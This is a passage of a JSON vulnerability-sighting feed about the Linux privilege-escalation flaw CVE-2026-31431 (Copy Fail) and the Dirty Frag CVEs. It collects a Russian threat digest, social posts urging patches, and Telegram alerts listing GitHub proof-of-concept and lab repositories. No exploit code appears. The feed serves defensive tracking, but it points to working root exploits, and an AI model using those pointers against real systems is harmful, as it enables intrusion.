\u0432\u0440\u043e\u0434\u0435 clone \u0438\u043b\u0438 commit, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 npm install.\n\n\ud83d\udfe2 APT ScarCruft \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u044b \u0432 Windows\u2011 \u0438 Android\u2011\u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0438\u0433\u0440\u043e\u0432\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443 \u044d\u0442\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u0440\u0435\u0439\u0446\u0435\u0432 \u0432 \u0440\u0430\u0439\u043e\u043d\u0435 \u042f\u043d\u044c\u0431\u044f\u043d\u044c. \u041c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 RokRAT \u0438 BirdCall \u0443\u0437\u043a\u043e\u043c\u0443 \u043a\u0440\u0443\u0433\u0443 \u0436\u0435\u0440\u0442\u0432.\n\n\ud83d\udfe2 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0431\u0435\u0441\u043f\u0438\u043b\u043e\u0442\u043d\u043e\u0439 \u0430\u0432\u0438\u0430\u0446\u0438\u0438, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0432 \u0420\u0424 \u0438 \u0426\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0439 \u0410\u0437\u0438\u0438. \u041f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u0412\u041f\u041e, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 Rust.\n\n\ud83d\udd35 APT MuddyWater/Seedworm \u0432 \u0440\u044f\u0434\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a Chaos. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0447\u0438\u0442\u0430\u044e\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u2014 \u043e\u0442\u0432\u043b\u0435\u043a\u0430\u044e\u0449\u0438\u0439 \u043c\u0430\u043d\u0451\u0432\u0440 \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35 \u041e\u0431\u0437\u043e\u0440 \u0442\u0435\u0445\u043d\u0438\u043a, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u043e\u043c VoidStealer \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f application-bound encryption \u0438 \u043a\u0440\u0430\u0436\u0438 \u043a\u0443\u043a\u0438 \u0432 Chrome, Edge \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 Chromium.\n\n\ud83d\udfe3 \u0410\u043d\u0430\u043b\u0438\u0437 PamDOORa \u2014 Linux\u2011\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 PAM\u2011\u043c\u043e\u0434\u0443\u043b\u044c, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0439 SSH\u2011\u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e \u00ab\u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443\u00bb \u043f\u0430\u0440\u043e\u043b\u044e \u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c\u0443 TCP\u2011\u043f\u043e\u0440\u0442\u0443, \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u044f \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0447\u0435\u0440\u0435\u0437 \u0445\u043e\u0441\u0442. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0434\u0430\u0451\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0434\u043f\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u0430\u0445.\n\n\ud83d\udfe3 \u041e\u0442\u0447\u0451\u0442 \u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 AitM, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 13000 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 26 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0442\u0435\u043c\u0443 \u00ab\u043f\u0440\u0430\u0432\u0438\u043b \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u00bb (code of conduct). \n\n\ud83d\udfe3\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 IAM\u2011\u043a\u043b\u044e\u0447\u0438 \u0441\u043b\u0443\u0436\u0431 AWS, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0442\u0435\u043a\u043b\u0438 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0437\u044b. \u042d\u0442\u0438 \u043a\u043b\u044e\u0447\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u0442\u044c \u0444\u0438\u0448\u0438\u043d\u0433 \u0438 \u043f\u0438\u0441\u044c\u043c\u0430 BEC \u0447\u0435\u0440\u0435\u0437 Amazon Simple Email Service. \u041f\u0438\u0441\u044c\u043c\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b AWS, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 SPF, DKIM \u0438 DMARC.\n\n\u2757\ufe0f \u0412\u0434\u043e\u0433\u043e\u043d\u043a\u0443 \u043a \u043e\u043f\u0430\u0441\u043d\u043e\u0439 Linux-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CopyFail (CVE-2026-31431), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u043f\u043e\u0445\u043e\u0436\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e root. Dirty Frag (CVE-2026-43284 \u0438 \u201143500) \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0436\u0435 \u0434\u043d\u044f \u0441\u043d\u0430\u0431\u0436\u0451\u043d \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c PoC \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430  Ubuntu, RHEL, CentOS Stream, AlmaLinux, openSUSE, Tumbleweed \u0438 Fedora.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-05-12T08:01:15.000000Z"}, {"uuid": "1c959e4f-d3ee-4d04-b85a-cccec7c1e91a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mudkip.indieweb.social.ap.brid.gy/post/3mlngrwr52d72", "content": "52Pok\u00e9 is down for about 1 hours due to @hetzner volume maintenance \"due to a critical software update\". I guess it's CVE-2026-31431?", "creation_timestamp": "2026-05-12T09:07:09.800781Z"}, {"uuid": "a629059f-72b1-46f0-ac87-e909c4d594a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mlnn3z4pox2j", "content": "732 bytes of Python \u2192 root on every Linux server you own. CVE-2026-31431 works on Ubuntu, RHEL, Debian, SUSE \u2014 no timing windows, no recompilation. CISA deadline May 15. Patch now.\n\n#Linux #CVE202631431 #PatchNow #CISAKEV", "creation_timestamp": "2026-05-12T11:00:05.882905Z"}, {"uuid": "4f2448d9-ad55-425f-9100-018bf0f3195b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/habr_com_news/46381", "content": "7 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Parrot Security\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430\u00a0\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432 Parrot OS 7.2\u00a0\u043d\u0430\u00a0\u0431\u0430\u0437\u0435 Debian 13.4\u00a0Trixie \u0438 \u044f\u0434\u0440\u0430 Linux 6.19.13 \u0441 \u043f\u0430\u0442\u0447\u0435\u043c \u043f\u0440\u043e\u0442\u0438\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431 (Copy Fail). \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430\u00a0\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e \u0434\u043b\u044f\u00a0\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u044d\u0442\u0438\u0447\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0438\u043d\u0433\u0430. \u0412\u044b\u043f\u0443\u0441\u043a Parrot OS 7.0\u00a0\u0441\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f\u00a0\u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430. \u0421\u0431\u043e\u0440\u043a\u0430 Parrot OS 7.1\u00a0\u0432\u044b\u0448\u043b\u0430\u00a0\u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430.\n\n#\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 #\u041e\u0421", "creation_timestamp": "2026-05-12T11:45:03.000000Z"}, {"uuid": "a6410ea9-604b-440f-9f7e-c1dfc300b6a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83922", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a studiogangster\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 10:40:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\noen liner CVE-2026-31431 test. Created 'sandbox' on sudo user and tests if ir can escape to root\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T11:00:05.000000Z"}, {"uuid": "36c62ee3-6027-4458-9c58-8b2ec35f5ef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/88YkBdmMMIAUjkN-cy3WAm2Yboedxaf0GfTYOA3KafU0qTc", "content": "", "creation_timestamp": "2026-05-12T15:00:07.000000Z"}, {"uuid": "c9652605-107b-4f10-b4d1-b0096270f9e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83946", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Smarttfoxx\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 7  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 4\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 10:13:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 (Copy Fail) PoC - Linux kernel page cache corruption via authencesn AF_ALG + splice()\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T14:00:06.000000Z"}, {"uuid": "942609cc-c776-4492-b03d-8458a4d9b5c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mloafgviij2d", "content": "ReversingLabs tracked 163 samples tied to CVE-2026-31431, with activity starting before the embargo break. The Dirty Frag/Copy Fail chain spans ELF, Python, and a malicious PyPI wheel. #DirtyFrag #CopyFail #PyPI", "creation_timestamp": "2026-05-12T16:45:29.155545Z"}, {"uuid": "698e30d4-caa5-4774-be95-41b9de8df8b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83963", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-fix\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a paulorlima9\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 15:23:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nQuick mitigation and patch script for CVE-2026-31431 (Copy Fail) on Ubuntu/Debian VPS\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T16:00:05.000000Z"}, {"uuid": "f15bf589-5afd-4724-b9c5-27d90110cf24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/captainsmok3r_official/336", "content": "copy-fail-cve-2026-31431 PoC:\nhttps://github.com/theori-io/copy-fail-CVE-2026-31431", "creation_timestamp": "2026-05-12T20:08:40.000000Z"}, {"uuid": "2daf94c8-cba5-4c83-9144-15dd580e3332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260506", "content": "", "creation_timestamp": "2026-05-05T18:00:00.000000Z"}, {"uuid": "c6e810d4-5874-41da-8efd-b9de0d3acb29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlpb3on5ls2s", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43284: 129 interactions\nCVE-2026-43500: 94 interactions\nCVE-2026-31431: 76 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-45185: 8 interactions\nCVE-2026-41940: 5 interactions\nCVE-2026-42208: 5 interactions\n", "creation_timestamp": "2026-05-13T02:30:29.367487Z"}, {"uuid": "2c8f0274-f5ec-4fdb-bad9-8c1ad38a574d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116564950057858680", "content": "I put some words all in one place about Copy Fail CVE-2026-31431, Dirty Frag CVE-2026-43284 and CVE-2026-43500, and friends:https://tharros.com/copy-fail-dirty-frag-and-friends-linux-kernel-vulnerability-coordination-in-the-modern-world/", "creation_timestamp": "2026-05-13T02:40:01.960257Z"}, {"uuid": "e5ad379d-e908-40b1-956c-332e28f9828f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mlpbmfkh4vz2", "content": "I put some words all in one place about Copy Fail CVE-2026-31431, Dirty Frag CVE-2026-43284 and CVE-2026-43500, and friends:\nhttps://tharros.com/copy-fail-dirty-frag-and-friends-linux-kernel-vulnerability-coordination-in-the-modern-world/", "creation_timestamp": "2026-05-13T02:40:11.329049Z"}, {"uuid": "725775ed-e0b8-4b9e-961c-22145148f9cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/n0vedad/1a9700a74e76fb982fe5788147bf0484", "content": "", "creation_timestamp": "2026-05-13T09:47:14.000000Z"}, {"uuid": "5202e068-4e32-4803-bc6a-a1e5963a63e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84068", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy-Fail-CVE-2026-31431-Lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kuniyal08\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-13 11:36:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-13T12:00:04.000000Z"}, {"uuid": "b65ad0df-ff29-4460-a6a1-15a949d27ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/gmqsYJuL8AU1ZXxnDjjWQKLCPTC0oBwWP4DJHqZuZarsDHs", "content": "", "creation_timestamp": "2026-05-12T21:00:04.000000Z"}, {"uuid": "ca442c6a-1618-4969-a935-8d22d37113fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84138", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Sebastian294\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-13 23:56:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAnal\u00edsis - POC - Mitigaci\u00f3n\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-14T00:00:04.000000Z"}, {"uuid": "c48ad875-f73a-4731-8976-572a4a373b1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/AdvisoryICS/statuses/116570458687208466", "content": "New ICSAP Analysis Report out today: \"Reading Between the Advisories.\"\nReviewed 3,800 CISA ICS advisories and 12,468 ICS[AP] vendor advisories for Linux exposure to Copy Fail (CVE-2026-31431).0.8% mention Linux. Schneider, Rockwell, Mitsubishi, Hitachi Energy, Moxa: zero references each across 755 advisories.Advisory text alone won't show asset owners their exposure.\nTLP:CLEAR \u2192 https://drive.google.com/file/d/1CDvyFi3ZcdMewTJmSURRQhEoNVWQI67s/view?usp=sharing\n#OTSecurity #ICSSecurity #CopyFail #CVE202631431 #LinuxKernel #PSIRT", "creation_timestamp": "2026-05-14T02:00:40.580851Z"}, {"uuid": "741ba42e-70be-43ef-958e-fbb74d249b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlrrkr5rym2j", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43284: 134 interactions\nCVE-2026-43500: 99 interactions\nCVE-2026-31431: 73 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46300: 14 interactions\nCVE-2026-42945: 7 interactions\nCVE-2025-8088: 6 interactions\n", "creation_timestamp": "2026-05-14T02:30:34.466046Z"}, {"uuid": "9cc82614-3294-49e5-ab84-327237ef0936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/O41s4ZacceniC-zmRdA20LKtlUfLN8dJaI2Rmc1hsAXigiA", "content": "", "creation_timestamp": "2026-05-13T21:00:04.000000Z"}, {"uuid": "17546d4a-dcb3-4883-91dd-e16e5fc503a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/cc4rNasGAf6eBRoD2kZTJIxW5lr85DmN8AZG7mw1GXsUUwc", "content": "", "creation_timestamp": "2026-05-13T15:00:06.000000Z"}, {"uuid": "d17b51b6-1b8b-49c5-afd5-e6a40b269edf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/6_gD9pQtVCg_eRlU_-Eqvw6JM83wq5C4Rc0rf2uF-yzttPU", "content": "", "creation_timestamp": "2026-05-13T09:00:04.000000Z"}, {"uuid": "52c8aa3e-42da-48eb-b353-4549d42997be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/no9VrmuWpYCotL5oqRbnMQdNuDYSzv-XRgybXr9t8F_k0Js", "content": "", "creation_timestamp": "2026-05-12T03:00:06.000000Z"}, {"uuid": "8d8acb96-b566-4341-9898-4b6daea3796e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": 